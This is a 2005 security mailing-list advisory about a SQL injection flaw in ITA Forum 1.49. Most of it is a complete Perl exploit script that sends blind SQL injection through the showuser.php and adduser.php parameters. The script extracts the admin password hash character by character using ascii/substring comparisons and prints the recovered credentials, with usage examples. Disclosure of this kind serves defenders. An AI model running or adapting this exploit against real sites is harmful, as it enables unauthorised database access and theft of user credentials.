[EXPL] ITA Forum SQL Injection

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To: list@securiteam.com
Date: 16 Jan 2005 15:34:04 +0200

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  ITA Forum SQL Injection
------------------------------------------------------------------------

SUMMARY

 <http://www.ita-studio.com/forum/> ITA Forum is "an online messaging
system, all developed in PHP, using MySQL as the backend database".

Due to a vulnerability in the way ITA Forum handles incoming data a remote
attacker can insert malicious SQL statements into existing ones. The
following exploit code can be used to test your system for the mentioned
vulnerability.

DETAILS

Exploit:
#!/usr/bin/perl

use LWP::UserAgent;

# ITA Forum 1.49 sql injection exploit with one char bruteforce by
1dt.w0lf // r57
#
#
::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
# example:
# r57ita.pl http://127.0.0.1/ITA/ admin 0
# [!] Exploiting adduser.php
# Please wait...
# [xxxxxxxxxxxxxxxx]
#
# USER_NAME: admin
# USER_PASS: 340878063a81cd71
#
# example2:
# r57ita.pl http://127.0.0.1/ITA/ admin 1
# [!] Exploiting showuser.php
# Please wait...
# [xxxxxxxxxxxxxxxx]
#
# USER_NAME: admin
# USER_PASS: 340878063a81cd71
#
::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
# greets2:
# foster and all ghc members

$path = $ARGV[0];
$username = $ARGV[1];
$target = $ARGV[2];

$s_num = 1;
$|++;

if (@ARGV < 2) { &usage; }

if($target)
 {
 $string = $username;
 $path = $path."showuser.php";
 print " [!] Exploiting showuser.php\r\n";
 }
else
 {
 $string = "&#1069;&#1090;&#1086;&#1090;
&#1083;&#1086;&#1075;&#1080;&#1085; &#1091;&#1078;&#1077;
&#1079;&#1072;&#1085;&#1103;&#1090;!";
 $path = $path."adduser.php";
 print " [!] Exploiting adduser.php\r\n";
 }

print " Please wait...\r\n";
print " [";

while(1)
{
if(&found(47,58)==0) { &found(96,122); }
$char = $i;
if ($char=="0")
 {
 print qq{]
 
 USER_NAME: $username
 USER_PASS: $allchar
 };
 exit();
 }
else
 {
 print "x";
 $allchar .= chr($char);
 }
$s_num++;
}

sub found($$)
 {
 my $fmin = $_[0];
 my $fmax = $_[1];
 if (($fmax-$fmin)<5) { $i=crack($fmin,$fmax); return $i; }
 
 $r = int($fmax - ($fmax-$fmin)/2);
 $check = " BETWEEN $r AND $fmax";
 if ( &check($check) ) { &found($r,$fmax); }
 else { &found($fmin,$r); }
 }
 
sub crack($$)
 {
 my $cmin = $_[0];
 my $cmax = $_[1];
 $i = $cmin;
 while ($i<$cmax)
  {
  $crcheck = "=$i";
  if ( &check($crcheck) ) { return $i; }
  $i++;
  }
 $i = 0;
 return $i;
 }
 
sub check($)
 {
 $n++;
 $ccheck = $_[0];
 if($target){
 $http_query = $path."?uid=".$username."\' AND
ascii(substring(user_pass,".$s_num.",1))".$ccheck." /*";
 }
 else{
 $http_query = $path.
"?user_pass1=ghc4ever&user_pass2=ghc4ever&user_email=root\@microsoft.com".
"&Submit=true&user_login=" . $username."\' AND
ascii(substring(user_pass,".$s_num.",1))".$ccheck." /*";
 }
 # wanna view xpl work?
 # print "\r\n$http_query\r\n";
 $mcb_reguest = LWP::UserAgent->new() or die;
 $res = $mcb_reguest->post($http_query);
 @results = $res->content;
 
 foreach $result(@results)
  {
  if ($result =~ /$string/) { return 1; }
  }
 return 0;
 }
 

sub usage()
 {
 print q(
    ITA Forum version <= 1.49 sql injection exploit ver2
 ==========================================================
    usage: r57ita.pl [path/to/forum/] [user_name] [target]
  targets:
           0 - adduser.php
           1 - showuser.php
 ==========================================================
     e.g.: r57ita.pl http://blah.com/ admin 0
 ==========================================================
           visit www.rst.void.ru for more info
 );
 exit();
 }

ADDITIONAL INFORMATION

The information has been provided by 1dt.w0lf.

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